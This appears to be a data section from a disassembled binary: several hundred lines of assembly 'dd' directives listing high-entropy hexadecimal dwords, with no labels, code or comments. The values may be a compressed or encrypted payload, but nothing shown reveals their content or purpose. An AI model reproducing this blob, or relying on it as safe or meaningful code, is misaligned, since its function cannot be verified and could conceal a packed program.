		dd 0C7E9BB13h, 0FAE66D7h, 0DBA6D1D8h, 3A18958Dh, 5D81A85Eh
		dd 3D7B023Eh, 80F7E849h, 0E773250Dh, 3F39906Bh,	45853EF3h
		dd 8DD1D0E9h, 0BD5520F6h, 75C311CBh, 150ADF9Ch,	9B2AD734h
		dd 51017D1Dh, 5CADE90Ch, 187EE1A6h, 52B0062Eh, 0C52488FEh
		dd 0E9588653h, 49675E4Dh, 414218F9h, 0FB04ECDDh, 12C7E77Fh
		dd 18135EF7h, 60CFD1B0h, 7CC3438Dh, 427B3359h, 4CF92927h
		dd 54DDC43Bh, 0ACC112BAh, 49E82CEAh, 8B5880F8h,	0DCC8025Fh
		dd 523F406Ch, 31A8BA01h, 0D6093B05h, 0A5641C88h, 2DB9B801h
		dd 57302F84h, 282293FEh, 5D0F2553h, 5EB24EE6h, 152B6813h
		dd 3E4C93E3h, 0CAB37936h, 9106170Fh, 0FCB68420h, 8F25F09h
		dd 53BF02E0h, 85A310C2h, 7047EBA8h, 0B7F31BD3h,	8D14E9C0h
		dd 0BC183079h, 4D2D278Fh, 5130A74h, 2D1C601Fh, 57D02967h
		dd 2158E960h, 0DA1C5F25h, 78C5BDD9h, 0E950B34Ah, 59B76576h
		dd 0A90B52EAh, 7DBB0572h, 0D104F11Dh, 0AF17B363h, 8A1AC044h
		dd 73C06802h, 58201E4Ch, 982EE966h, 0DBB5C8CEh,	0A6C01FDDh
		dd 545C5965h, 9D2DBEC7h, 2EC0F864h, 16EACE62h, 2E40F180h
		dd 0ED5A6AA7h, 0BF6072FFh, 0D45AF6DFh, 9C58BFD7h, 5C445409h
		dd 8690976h, 582D0806h,	0CA67B53Fh, 0A2C49B13h,	0FA500ECh
		dd 9492C013h, 4E21F977h, 0CB6E3EA1h, 3CE30145h,	685534FAh
		dd 163223D0h, 0F411E91Dh, 1640283h, 0F58B5A33h,	6AC8AD4Ch
		dd 6DA2EE81h, 0C96F60B3h, 6B472F16h, 49453F6Ah,	0F9E8200h
		dd 9056D80h, 52B13688h,	0E45484h, 0FD089CBDh, 405AB037h
		dd 0EA2780F4h, 3B75D6A3h, 2EC3F21Ch, 5B66004Dh,	0FE32B252h
		dd 320CA65h, 60069181h,	249D0400h, 6234C40Bh, 808E0030h
		dd 0E7E97EC9h, 2ABDB581h, 6F26361Bh, 0DEDAC51Ch, 0F70B09C8h
		dd 0D5314B90h, 436C6082h, 20062E5Fh, 0A0C100D1h, 0DDE9DFF9h
		dd 5B13329Eh, 4DC68207h, 811D7334h, 934B45Fh, 7DC83EEBh
		dd 61B32653h, 0C0481C83h, 0DBF670E3h, 0B04A0AE9h, 0D3B93353h
		dd 5220074Ch, 5F702797h, 2BA08CAFh, 8C7697EAh, 0DB3A973Dh
		dd 4B1928FFh, 0F1178960h, 24BC68DCh, 810D0175h,	552284C2h
		dd 0ED0C821Bh, 7E0C2016h, 8008A076h, 9ECF7CADh,	0AC56EE1Ah
		dd 388B84A3h, 541E76ABh, 0E06F6A2Fh, 82687D50h,	0C00D4E60h
		dd 5AF18080h, 0C72ED79Dh, 0D4B0E4AAh, 0B820AEBBh, 0ED845634h
		dd 2A13812Ah, 0E8290255h, 80B7323Ch, 65629668h,	579120F5h
		dd 0B600A5E5h, 5AF18869h, 20D4C452h, 4AC0351h, 0FC14B661h
		dd 0B2DD82B3h, 45A04195h, 0C0590405h, 87B6886Dh, 0E380F00h
		dd 0C7F07DBFh, 0B9015AF1h, 0D4E90BD2h, 829966D6h, 851FE3F2h
		dd 0B1B0012Ah, 60E2C46h, 862B5822h, 2008EF1Fh, 8620FB08h
		dd 404231B7h, 8C49AD28h, 189CFE08h, 89567F5h, 36085816h
		dd 0A3510C71h, 19C4E228h, 6004EE09h, 88760480h,	6DD1E04h
		dd 3108B4E8h, 4204A6Bh,	52088820h, 9428087Ah, 8611B08h
		dd 0F90C1655h, 405A387Bh, 1FBD18Ch, 9301A178h, 44A60132h
		dd 121EC01h, 0C1984A61h, 0C83B104Dh, 817DC980h,	810FB90h
		dd 731265Ah, 163AC11h, 30988792h, 2A6B5127h, 0AD1808DCh
		dd 0C6E8B118h, 18383908h, 84E9E31h, 5D010C3Eh, 426C011Fh
		dd 56A08501h, 1D31C984h, 0B9BA10D3h, 6B02088Ch,	0B3809B89h
		dd 1318C654h, 17200897h, 0DB4620C5h, 316E6720h,	323089FEh
		dd 9AE05333h, 0CF211818h, 0C46CD408h, 6BE7318h,	20100759h
		dd 0A72060E7h, 69F06243h, 7002891Dh, 0B04B035Fh, 20EC5120h
		dd 4354038Dh, 294120A4h, 499092FDh, 0D74910C2h,	0B1A49719h
		dd 0C38401BCh, 72910888h, 0F1BBA23Fh, 3C7C408Ah, 48489290h
		dd 8E0C8444h, 6F051015h, 91D90813h, 6088515Eh, 0A221909Fh
		dd 89C4A18h, 7B817A6Fh,	40AA7C24h, 9640DA93h, 88F62F4h
		dd 9202C8FFh, 0DC420271h, 19349B03h, 0D1E1B040h, 15109557h
		dd 61433294h, 3AB0A38Fh, 615120B4h, 2C3EEF24h, 48EC31B2h
		dd 0DEDF6B94h, 2AA69008h, 432094F0h, 0C6A820BAh, 55511920h
		dd 10FF90DEh, 185D7FA1h, 950874A3h, 0BF20CC36h,	0B9C65C69h
		dd 0F0085D40h, 5818C6A2h, 982008F8h, 4CA0268Dh,	4A249210h
		dd 98FC94BCh, 66421071h, 0ECEA08DFh, 314D1020h,	1A186401h
		dd 19088C79h, 0AB3F185Ah, 0A379EEC4h, 6E18267Dh, 60129D28h
		dd 72201E49h, 0D131A892h, 0D48A101Ah, 0E0A2F902h, 6F024D3Dh
		dd 91B004D1h, 1112940h,	600180D9h, 0C71D0116h, 34690202h
		dd 67F453CAh, 659AD110h
		dd 246CDA10h, 0BC8AD4A0h, 0ED90B8ACh, 0FC9C6004h, 7FA4C9E8h
		dd 496215C1h, 0C78B1E8Fh, 467A8C1Ch, 47013B10h,	0EB02752Ch
		dd 0E8D8913h, 0E93DA7B9h, 8F386005h, 0B494000h,	8BF775C9h
		dd 0E8FDB874h, 0F00327DEh, 330F77F1h, 0B10F01C0h, 2C82304Fh
		dd 723468ACh, 0C6C47FC9h, 313B44FDh, 21A3EF5Fh,	861038C8h
		dd 3B520B11h, 28AEDA87h, 696894FAh, 0AA01DE5Ch,	292E5F6Fh
		dd 0A92C0234h, 541DA0Ah, 0FB7106F6h, 0D892C01Dh, 0A45E1BD7h
		dd 69FF16E0h, 0A7775858h, 7300C618h, 4B89D753h,	0A3E746F3h
		dd 0BBF82650h, 0D3175470h, 9903814Dh, 0A90C971Bh, 0C7BD498Dh
		dd 0EB18229Ah, 0F8B0F6F0h, 685B0205h, 87FC38C7h, 2B6B2CC6h
		dd 0A410431h, 7A38DE21h, 0E124BE06h, 0FE1D0C33h, 78AFC978h
		dd 5CD73093h, 2CEAB82Ch, 74464D3Dh, 500063BEh, 0D0F7585Dh
		dd 6521B895h, 0C0AD16DAh, 4453C206h, 4770157Ch,	6A2D0D7h
		dd 274FC81h, 0A3F32B12h, 5CD1188Ch, 22EC0CA6h, 6AB058B6h
		dd 7DEFC009h, 7FE0A2B8h, 202C5B10h, 3A788981h, 0D7B1E212h
		dd 5427F248h, 516D9A5Dh, 6D68410Dh, 0A749FD54h,	8A79E7A0h
		dd 0ADC646EEh, 7B0C0FA2h, 0A18914D7h, 902E9732h, 0CE6805B3h
		dd 0BA23195Ah, 5D7431F7h, 0A7428FD2h, 0A022D8E6h, 1E2704h
		dd 814B3AFEh, 94B520EBh, 0C501F776h, 74611C4Ah,	0EDF9DD01h
		dd 41E90840h, 0B392BF88h, 2D1D845Ah, 83284B92h,	9952829Fh
		dd 58D08454h, 0B62DB2B6h, 0E680D2E0h, 0C11DB794h, 0C01ACE87h
		dd 0A4E90260h, 0E8D3CB3Bh, 727F9E4h, 0F69EEEC4h, 59CEA8D1h
		dd 12EF3C80h, 473E3292h, 0F9B05074h, 2EE741D0h,	0D6EC6E53h
		dd 0EA3480ACh, 81BA0625h, 6F30AC81h, 0C2E03A67h, 0E7B9E942h
		dd 2DC544A0h, 6C187E31h, 8080FDE3h, 0C09001C5h,	0B65202EDh
		dd 7EA9345h, 35E921B0h,	0EA38A435h, 56007Ch, 0B37CF2BEh
		dd 0CE314657h, 512C52B7h, 40E284F7h, 1E8308B4h,	0D229A84Ch
		dd 1D71FF5Eh, 52541975h, 1EC22680h, 2A0E7E3Ch, 25A62EE4h
		dd 0E002C328h, 0A7894C55h, 5E42BD00h, 7C95768Ah, 0B4BA817Ch
		dd 2C258469h, 57380E88h, 5FF2C326h, 0F0F05E99h,	0BA0352A9h
		dd 4DE04AEAh, 1CE9C809h, 50E1A81Eh, 869195FDh, 1EA26B53h
		dd 7D1C47C1h, 47807A60h, 2994182h, 1AEE8106h, 0DF0A2Dh
		dd 0D32430A1h, 504E0175h, 665C3CB8h, 27E03E21h,	4B480105h
		dd 0ABE916C4h, 0C2CC2BFDh, 0EB2A1261h, 0F0E60839h, 36DF6804h
		dd 52309AFFh, 0D3B1566h, 0E2E7048Fh, 0AAC01A12h, 5F3EF4C7h
		dd 969A01DAh, 0F0541D69h, 0A0452F1h, 0CF31292Fh, 98C54CC3h
		dd 976DE214h, 820945Eh,	3172E918h, 136FBB5Ch, 0A06E6542h
		dd 343B0947h, 21C3010Fh, 31E10CD7h, 0D3C1A03Fh,	0F4B43C69h
		dd 5FF800B5h, 35581B05h, 0D14D8D1Dh, 614297BDh,	5B3FF9CCh
		dd 1372E647h, 97A657BFh, 1895553Dh, 0BF1AD821h,	0FF9841h
		dd 16792D82h, 3BD0BF4Ch, 2F070551h, 7C9668C2h, 89C767DFh
		dd 350B91E6h, 777B8118h, 39E91801h, 0F1F12475h,	0BC4BED0Fh
		dd 26107D2Dh, 0D70BBC4Eh, 444EBDE9h, 0ABEA0893h, 0BDDA4ECCh
		dd 0D74AFC5Ah, 5E0E2D86h, 80C6F95Eh, 785BBEEAh,	57091B7Fh
		dd 0FCAA841Ch, 196842F6h, 0C4DA7E49h, 2EFD06EFh, 0EAEE02B5h
		dd 5F1BB30Bh, 0CE33B17Dh, 9D97B92Bh, 0B5709FE0h, 545A24CBh
		dd 0EB680583h, 70B44662h, 0FA486B87h, 3A27077Bh, 0EDD36950h
		dd 0C2750FC6h, 40725E4Ah, 21459235h, 5230E90Bh,	7DBE2260h
		dd 0C1589D4Ch, 4D4CEE7Ch, 0BAA94F8Eh, 0BE21AEA4h, 0BB00FB85h
		dd 51240EA3h, 2A2F3F14h, 0DE07B0BEh, 2D20A572h,	5F546438h
		dd 129DFC5Eh, 0CAAAD901h, 0C70C20A0h, 54DBE906h, 9E7BA01h
		dd 0E9B07A48h, 48BD359Bh, 5B6EFE74h, 18C0801Dh,	5A4EB104h
		dd 0C6B801BAh, 811A219Ah, 0A342D51Ch, 1A934762h, 0B221049Ch
		dd 518A9029h, 310C394Bh, 881E30E9h, 2A870C35h, 0D166771Ch
		dd 0CAA50736h, 0C82D0230h, 0C126733Eh, 3540D060h, 0A6264FB8h
		dd 0E858B32h, 0C4C21C16h, 6D1AF713h, 0BF6CA00h,	0B5B8441Ah
		dd 0DC73627Ch, 7B7A64C0h, 2D8302CEh, 934001EFh,	224AEA68h
		dd 360432B3h, 0C01BEB7Ch, 0D41933ECh, 53BC654Eh, 4D9E5C60h
		dd 0F9D5410h, 57E9815Ah, 4620630Dh, 62413483h, 0C60BC2DEh
		dd 64E90881h, 49A26F77h, 7616F248h, 25402E2Ch, 1D7EF05Dh
		dd 0CB710D48h, 0DBF83206h, 22A1122Eh, 4969E601h, 96201999h
		dd 73621377h, 1DB6FC46h, 6885DEF7h, 25E327EFh, 807D514h
		dd 0F832718Eh, 10B9A0A5h, 8C6E5A5Eh, 25013562h,	0E918A442h
		dd 64345FF0h, 68B40750h, 74FC380h, 5FEB57E3h, 3DE95881h
		dd 90903AADh, 5AB2597Fh, 0BBB4F433h, 0F9C1722Ch, 7460D825h
		dd 312CCBC7h, 0FBB9FB82h, 16DDE90Fh, 0E8215A6Fh, 18EF974Fh
		dd 25F167ACh, 8DFDDE00h, 9465B9BBh, 0CB0126B1h,	3DEB02FEh
		dd 92C33239h, 22E955C8h, 9198269Ah, 2A2C5A5Eh, 0B1A30CF7h
		dd 2122312Fh, 17E8F85Bh, 927A1C85h, 98FF465Eh, 4049E9AAh
		dd 280FBB19h, 0AA559945h, 20EB63DEh, 17F3E919h,	0EBECCC01h
		dd 0F408DD0h, 28D81BB1h, 59E2EBCBh, 813126C9h, 1AB7EED3h
		dd 0F56C3023h, 0BF08C628h, 5E69B559h, 729158D3h, 0AA2649Dh
		dd 4773128Ch, 7051ACBh,	72E0DB48h, 0A9B58750h, 0C26836E1h
		dd 0EA37EEE9h, 0D5CCDDD0h, 0E3C03E0Bh, 0E6A4FF07h, 6E1487BDh
		dd 0DEE9D903h, 0EA3AC8DCh, 7A6A5830h, 290265CFh, 0C1CE1172h
		dd 6A4E7A08h, 690600E0h, 5001AA4Ah, 208347DBh, 0F3A34210h
		dd 70B82CAh, 0B5A20E8Ah, 4AA86351h, 9F51094Fh, 37C8DFA0h
		dd 0FA905A58h, 29B8183h, 0EFF04410h, 1C25504Ch,	0BCD03EDFh
		dd 2DD7C8D2h, 0D30BE45Bh, 0E257D25Ah, 6ED19F46h, 7782680Fh
		dd 0B7830837h, 4AA97E74h, 5A2623D7h, 66374DF1h,	513810F9h
		dd 48024F48h, 2943737Dh, 82009F6h, 901E5D69h, 73E1D12Dh
		dd 9D14C2F7h, 79C037BAh, 0BDCEEE8Dh, 0E81EE5EFh, 4F2C7F09h
		dd 12E986E9h, 0D19F87D0h, 2268047Ah, 2F8AEA56h,	223E885Bh
		dd 6AA22A4Bh, 0D243B892h, 3A00E1ECh, 2D48D33Eh,	6101143Fh
		dd 29FF356Ch, 0C12ADC72h, 6AA14AF2h, 0E2D37FF6h, 0D153CADDh
		dd 0F578C500h, 60D6E93Dh, 5D5618AEh, 0CD92895Eh, 0D5903B71h
		dd 0AE2B801h, 0C2097ABDh, 596E7530h, 4981256Bh,	254C573Ch
		dd 0B3A17E22h, 0FCCD353Eh, 0A75D8900h, 3BA051D8h, 9023947Bh
		dd 0F8E94BEFh, 6A9C116h, 91206C44h, 12141293h, 0FD82AE70h
		dd 76F95DCEh, 3698EE40h, 0E9700B5Ch, 0C756CDF8h, 93188481h
		dd 9B00217Dh, 0CCBD0143h, 35E6A499h, 0AE36EBDAh, 2668483Ch
		dd 0C27D5E38h, 31020CBFh, 0FC8FC1C8h, 59FECC6Fh, 0BD6C0665h
		dd 0C58236ECh, 92514568h, 3937B8A8h, 69E22A3Dh,	86B65D4Eh
		dd 179B6EB7h, 0FF73E1E9h, 5DF13229h, 7422613Eh,	0AEE37B53h
		dd 7E180386h, 20DCD2B5h, 2ADFF6B7h, 0DD1D82CBh,	0D6241BAh
		dd 9501EC7Fh, 777C18DAh, 50E79197h, 5A2E9130h, 46009801h
		dd 0B30CE6B0h, 26741F68h, 7214197h, 3578C1D9h, 0BF70606Fh
		dd 48A96403h, 6FF031E9h, 1C055A89h, 0FE5B1213h,	2B3F5B39h
		dd 0FE90B0Ch, 9EE15144h, 0DB8589E7h, 1B30C371h,	2C30FD68h
		dd 23445CFh, 0D18B3EBh,	580027Dh, 44E48256h, 8113E9C2h
		dd 8AD5A29Eh, 53A02E6Bh, 0A50590F1h, 0DAB17DBEh, 17AD281Ah
		dd 2013B551h, 8EEA8D0Fh, 4F49F5D7h, 0CC6AA88Dh,	9825E93Bh
		dd 201657DCh, 0BB58AFFCh
		dd 381B810Dh, 0B22F7F12h, 0ED185005h, 0A2570CA2h, 57FEA9B1h
		dd 0EF00C4EEh, 5AF5446Bh, 0C33180E9h, 362005F3h, 5FBB0810h
		dd 0F6C071Fh, 2DEDD829h, 1F0FD30Fh, 0F3287568h,	521F0F5Fh
		dd 0D243BA9Bh, 744DDD5h, 9527FC28h, 9C4CBF04h, 37FD979Fh
		dd 57F6F327h, 933CC1C0h, 60A2FA3Fh, 9A0D1A40h, 4200BC34h
		dd 557EDC2Dh, 9DC521E6h, 0DD2EC04Ch, 0C6F19C8h,	9059D52Dh
		dd 0E1B39E12h, 543229E9h, 4E820285h, 0D56028BFh, 0AB161ED7h
		dd 96BD314Ah, 122CC00h,	0B5BE913h, 0B6ED2AEBh, 8C436484h
		dd 0BF1F66F7h, 5D0954D9h, 20A3C667h, 3054D7FAh,	140AF8Ah
		dd 3D6C2568h, 0A2885959h, 0B0BA00FCh, 9175B4Dh,	25FA0590h
		dd 0F759C1CEh, 777D4AA3h, 2869BD60h, 64D00703h,	4831591Fh
		dd 4A3356D8h, 0F0825B20h, 4EB16C1h, 0FBA4C4h, 0E2BE56B2h
		dd 0A7281A3h, 2A2CFBF2h, 0F112C68Eh, 5BE11210h,	0BFD2EDEDh
		dd 2CAFD885h, 0D330E91Ch, 95BD0A9Dh, 0AF3A480Ah, 3392A410h
		dd 0F71D4CBFh, 0A31956A2h, 83E6EDC6h, 0D90D02D6h, 5B36E728h
		dd 0B51A9675h, 41082179h, 3CBA3AF4h, 0D359E9DAh, 5D6FC5E1h
		dd 800BE6AEh, 801FDDBBh, 0DF7C093Bh, 85881B30h,	2F5521EFh
		dd 0AFF42E8Dh, 9F147D27h, 630BD1BFh, 10259549h,	0D42FD05Ah
		dd 0B42E7EA9h, 57998B27h, 42D2B45Fh, 22E912E8h,	605DA1E0h
		dd 4F7FCC59h, 0E4FA7CE5h, 0E8455C65h, 0C302A717h, 0C6291268h
		dd 0EC814D5Ch, 2C3C1909h, 0F69AC313h, 2074E677h, 577EF955h
		dd 2B53EB4Eh, 816061A0h, 9CE67E5Bh, 5D02684h, 0CBAB5457h
		dd 32F74E28h, 1A34EC9Fh, 3F7BE30h, 142ACE06h, 289D2C0Eh
		dd 3A86499Fh, 88A99CA8h, 792D67EAh, 7B7C9F1Fh, 0AE935FBFh
		dd 0BAB335EEh, 0E48A5DEh, 0D09DE290h, 16513BC2h, 38284335h
		dd 42552768h, 0F069EC79h, 0FC56970Dh, 0F0F3BB60h, 68400B2Bh
		dd 73514B5Eh, 0E9298582h, 136D003Dh, 0B9BA08EDh, 26D50B7h
		dd 14DBCE81h, 887416DEh, 986D3F04h, 68D380EFh, 5BBF4097h
		dd 0E05DB742h, 67352EBh, 95A95D5Bh, 0F1373318h,	0D36FF7D9h
		dd 0FBDB7F08h, 56A5B0E3h, 0D6975CA6h, 0D6786D1Fh, 8545BA13h
		dd 0A0F05C8h, 53013759h, 39C97D3Ch, 5CD19130h, 4D048C30h
		dd 9C05AE9h, 0D64403BAh, 91BE0446h, 0AF2AF878h,	80B4594h
		dd 0FB8688E9h, 0F7525C09h, 0AA8AD4B6h, 40EC1B82h, 0D65B5A02h
		dd 0B2C9BFB3h, 0D6C6891Dh, 29B9C279h, 0C1826C7Dh, 0BD640CE8h
		dd 1026225Bh, 0F25E9DCDh, 3C4000D3h, 0D9F709EDh, 83349649h
		dd 3DD62526h, 3E5DE1B0h, 1844A630h, 487DDFBEh, 0EE0A2BBBh
		dd 1F99F045h, 8C394CBh,	38755927h, 0CE37B299h, 8CC75BA4h
		dd 0BF0D0C51h, 0B89540h, 10D506DAh, 0EC7D4C0Dh,	5400907h
		dd 1C62573Dh, 5D1F60D1h, 0FE2224A3h, 0F3298C3Fh, 510C9588h
		dd 0E5E6BF6h, 782D0265h, 734AE906h, 0E006A952h,	41223020h
		dd 200290E5h, 0F19DBA46h, 0CB5D8D12h, 55EE0114h, 90DD6FAAh
		dd 0E2ADC73Bh, 4A7C209Dh, 3F298163h, 6497CA21h,	4B5B5F2Bh
		dd 0D66E8E7Dh, 2524DE58h, 5078F434h, 24C358D3h,	93E88850h
		dd 7759C7C2h, 0E5BED896h, 9DECF05Ah, 274DE3DCh,	15A78B2Eh
		dd 4EC3D9EAh, 0BC2425EEh, 6009D342h, 0F4B26256h, 0D401E4EDh
		dd 1945AB4Ah, 0FF989D40h, 49F04BEFh, 3082E89Dh,	555B669Ah
		dd 77773389h, 0E902E34Fh, 710143D0h, 0FEFA16A1h, 0E0565522h
		dd 0E865CB63h, 39BE0025h, 0E9DAAF9Ah, 36C14A2Ah, 1E2C5966h
		dd 0C841F8C1h, 6581FA0Ah, 3225A8C3h, 45E6EC39h,	0A1E117C0h
		dd 9040F106h, 66830C78h, 0ED187FD8h, 0B4C8FF4h,	4D702DDEh
		dd 0BEFD2537h, 0E746B70Bh, 13BAA14h, 5F38C5A5h,	5C2D61EBh
		dd 0BE128193h, 43E86192h, 0ACB570E8h, 0F0014BC0h, 7A0E353Dh
		dd 0A0327655h, 60D7430Ch, 0CC24D89h, 0BEE2C184h, 5FBA9AC1h
		dd 754ACF42h, 60BBA00h,	0E92E267Ah, 5996B0A9h, 4433FE2Dh
		dd 215DB04Eh, 0C20369h,	0C063A08Eh, 60EAB07Eh, 0D5B81635h
		dd 0BE0CBDEDh, 7858C131h, 0A47B132Dh, 0F750BB73h, 89B84F08h
		dd 6D50FAB2h, 57566814h, 0EAD68Dh, 35F77EFh, 0E02DE96Eh
		dd 28B2E5D4h, 0BD53977Ch, 4F8E5EA5h, 0F8992750h, 0B9337F8Ah
		dd 94A2497Fh, 6EDF3263h, 0C65B703h, 12FD398Eh, 4B7A67F3h
		dd 0BA468431h, 0CA15A845h, 0C6E0D88Dh, 48A6AAFFh, 8A4608EEh
		dd 0B02A657Dh, 1481170h, 43AD194Ah, 59203606h, 910C1C1Bh
		dd 186C665Bh, 2D5EB062h, 0B703107h, 8BA98333h, 0C13FB9FBh
		dd 45DC0EAFh, 688571E8h, 88E97453h, 40124FB1h, 22F7B9F2h
		dd 0C1AC034Ah, 0A461B00h, 69E7E92Dh, 575A2AC5h,	93DA7883h
		dd 1036E1D7h, 22D638A5h, 97DC58Eh, 100582Eh, 50D50314h
		dd 0C2D8E2E9h, 0ACB2F975h, 7C420021h, 6685907h,	1F19F3B5h
		dd 0C7AF5E22h, 13E9D141h, 0F539820Bh, 8E830C5h,	4A56EE87h
		dd 0C1FAACFFh, 0F7C9E953h, 0A126416Ah, 31547852h, 0AF2F45Fh
		dd 0ED0A7192h, 0A1E6E49Bh, 59A9253Ah, 0B1D4CBA2h, 0A6385451h
		dd 0C09601D6h, 6B58451Bh, 0BA4FC0E3h, 3AF38620h, 0A7BA2CE4h
		dd 241A2A9Fh, 8AEC780h,	1E3C3350h, 0F5CF0CCDh, 7AC5C056h
		dd 2659EF28h, 58FAFA08h, 614FB368h, 0E9C81C30h,	309241AFh
		dd 0D762A06Bh, 6317F669h, 0C1059C96h, 2B1AFFEAh, 0F21E400Ah
		dd 707E095Ch, 0A97429F0h, 67C3B80Ch, 8E524530h,	52C688CCh
		dd 279306EDh, 0C8587F9Bh, 48546068h, 89A4BB4Dh,	0CF5F093Ch
		dd 0EFA375BAh, 0D27E9C0Bh, 7D416075h, 77B77D2Bh, 0CF492DDFh
		dd 0A583472Ch, 137696D7h, 0A90FB3E9h, 3152589Ch, 15E6992h
		dd 24A3B66Ah, 72093389h, 239A57E3h, 0FFDFE382h,	79825D04h
		dd 0D1E8575Ah, 7D7151F7h, 497950B8h, 0F37DC2E1h, 0D3766BCEh
		dd 56412859h, 422F2968h, 8B7F4846h, 0B936E58Fh,	93C493BAh
		dd 4C4CFAFh, 68575156h,	0F828ED04h, 4C4F042Ah, 2BC06B4Ah
		dd 0D6E4BFFh, 0C92EE908h, 39ABDBD9h, 9AF57D01h,	2997B668h
		dd 0F4D5E9F3h, 5FC0FF28h, 457BA457h, 0A845E8DDh, 0F9A0845Bh
		dd 8461E783h, 1B505CF2h, 12F2BB5Fh, 0EAF71F6Ah,	0CF3C807Bh
		dd 260A756Bh, 6069562Fh, 0C935E0D1h, 140F6378h,	103E8C1h
		dd 609A0B62h, 409BFB60h, 0F4975595h, 0E4B880B0h, 567B72Ch
		dd 20758404h, 5EB4061h,	0B177E9BAh, 0F03E9A31h,	0CF8D010Dh
		dd 15ED149Eh, 0D22A10F0h, 0EB6A1219h, 0E8D8AA13h, 227B0535h
		dd 0FE524906h, 0A54CE800h, 4997E965h, 0D9261BB6h, 1B6D0E08h
		dd 411049ADh, 63193A3Bh, 24523014h, 7FF81D3Ch, 7903350Ah
		dd 25C0EA1Eh, 7C2305E2h, 0C0A74E2Bh, 223EBF09h,	0E672B828h
		dd 873D5200h, 0A2E94774h, 9D669F04h, 0FA1C749Fh, 0F12EB350h
		dd 4C6B7A0Ah, 4851BDDDh, 592D2C35h, 5B2F992Dh, 0DE254CBEh
		dd 71237CC9h, 66F73E5Ch, 4E62BC5Bh, 27ED5A34h, 56119915h
		dd 1920544Ch, 13EDF29Dh, 161146F1h, 7605AEA2h, 348D370Fh
		dd 5FC03D30h, 0E0F5C9EDh, 0EA83A9D0h, 9FA5C82h,	1A428368h
		dd 15A12444h, 5B9F834Ah, 55EF109h, 10BB07EAh, 0F1F6C5A8h
		dd 0BB96FE1Ch, 51CB46FEh, 4AC68056h, 9420EE7Ch,	0A01853FDh
		dd 0E6D340F4h, 72F6FE03h, 2CCA77EBh, 0C036F589h, 51F4BF57h
		dd 0E93A4704h, 86A89348h, 3F2CB4A5h, 0F321C341h, 45CC5721h
		dd 3C232401h, 0EB8E17F7h, 0EF6A6F28h, 800FBF88h, 57B35306h
		dd 0B02F4030h, 322C0712h, 0F1DD2CFFh, 50A6F62h,	7C6BE02Ch
		dd 2DD02829h, 0CF3B9407h
		dd 20278681h, 0A726A84Ah, 64635E7Eh, 871BACBAh,	5C7B160Bh
		dd 3859BA43h, 3B32D02h,	205D8C63h, 5FDAEF1Eh, 0E41D5BFCh
		dd 0FA4A259Eh, 126C138Ch, 10E0831h, 6F142EB4h, 73F43B1Fh
		dd 0F9040B9Ch, 327C4E7Ah, 640FE82h, 0B0A6C105h,	0EDF69D2Eh
		dd 68A974FEh, 10206B2Eh, 40AC5EC4h, 92D9E9C5h, 734221FAh
		dd 0C9008042h, 4BEAE8C7h, 57035A4Fh, 2CCC57E9h,	1E1B3428h
		dd 85BD57A2h, 8739EFD4h, 6955BD34h, 4577109Bh, 0D8E98A59h
		dd 28FEA7ECh, 0D0089B24h, 0E7810008h, 3F440DEFh, 80ED769Fh
		dd 0FE07DE14h, 3C65E0E9h, 9EF5C329h, 1C35D600h,	217A2FADh
		dd 4534F0F0h, 0B8846382h, 341B00EEh, 299152E7h,	5937C74Bh
		dd 0A71D5AD0h, 12FBEA2Fh, 84F2B0Bh, 762FAAB6h, 61EB012Eh
		dd 4335AD15h, 8576B3B3h, 0A3266309h, 0B7FB0331h, 295DB16Eh
		dd 0F7F67D70h, 3725B800h, 0BF0BD401h, 1D93FC28h, 316E802Fh
		dd 7F54E9F8h, 2B00B9E5h, 810F5135h, 6757EC9h, 0D9F72CF1h
		dd 0EF185E41h, 0CEBEAEE1h, 1579BF59h, 922967EBh, 2CA095Ch
		dd 0D64B0279h, 922249AFh, 0D709764Dh, 0B62EFF02h, 27304E7Fh
		dd 0B6385D55h, 3E4E9768h, 0E89279A9h, 0DDE9C30Eh, 0EA3703B5h
		dd 39453A7Fh, 460ABD9h,	7D71F987h, 0E57E332Fh, 7A6D6130h
		dd 2768869Ch, 6985106h,	9095E2C1h, 63B2684Ch, 0A6E47322h
		dd 0EC305D76h, 4FC77FDAh, 20F02D02h, 0EF50D6D0h, 784AE908h
		dd 62A2A985h, 68D9DB3Ah, 125F6882h, 4E626A56h, 9C2D80ABh
		dd 9543F46Ch, 1ABF1C70h, 6DBAD97Bh, 27E1CD43h, 92E210CEh
		dd 0C0EB8000h, 3DB05066h, 43A2C3E0h, 148C0EC3h,	7BC60542h
		dd 0B81C112Bh, 57D688C7h, 234703EBh, 0ED270233h, 9FF7D91Eh
		dd 98619CD7h, 3429FF10h, 8576F993h, 8BFF433Ah, 172242A3h
		dd 5353EEF1h, 567855C2h, 0F9483862h, 3DD1292Ch,	0B9D131AAh
		dd 0EACA3D24h, 0D4A93C34h, 8AE17884h, 7004838h,	4B4226C5h
		dd 2DEFA1Ch, 0E936B365h, 3F6A5B98h, 3B09197Ch, 0ADABD9CAh
		dd 0BB8312FAh, 360953C4h, 282B466Dh, 0AACB5DF3h, 0C72D6047h
		dd 3CA43B0Bh, 187C0179h, 76E96F19h, 0F2CF9D66h,	16FD83D7h
		dd 6C8C688Eh, 7B9E7BC9h, 96606F25h, 1BF52DEh, 737FD57Dh
		dd 0B728827Dh, 409B2CCFh, 4A1CE92Fh, 0EBADD08Eh, 95F42170h
		dd 0C5573560h, 65FCD544h, 57A750BFh, 4D41BE88h,	1B723387h
		dd 439A013Ah, 41D57B97h, 3A3F89CEh, 0CB003125h,	7B5B6E62h
		dd 0E9EB1701h, 0A27385A7h, 582927BEh, 0BCBA4F72h, 0D882A4A6h
		dd 2D02FAC8h, 60D9B5A0h, 5790CECFh, 3ABA7C44h, 0A4180C16h
		dd 0E64BF70Bh, 1EE241E4h, 0CC4A2848h, 0C7D96B5Ch, 0EF4E91EEh
		dd 5A688AB6h, 5AD3424Bh, 0C6676955h, 1D6E9B4h, 14436EA0h
		dd 0E4182019h, 0B0EC9B5Ah, 0C97CA9E4h, 0B0B970B8h, 300A5FA8h
		dd 2B24E65h, 13B8834Ah,	0BE5EC44Fh, 1C09664h, 0B5EB2CE9h
		dd 9455B132h, 0CB525A28h, 4A3804D1h, 80AF6606h,	0CE2508FEh
		dd 0B87ED6EDh, 71685C05h, 0E3E1D581h, 6657863Bh, 13E2BF80h
		dd 4D346204h, 880DAF7h,	5B0496B0h, 6839A08Ah, 66177A25h
		dd 367332A2h, 0A561593Ch, 0B9F850FDh, 52480E6Eh, 2783710Bh
		dd 0E245673Ah, 5682F527h, 0DA5775E9h, 548B0F0Dh, 0B0644C87h
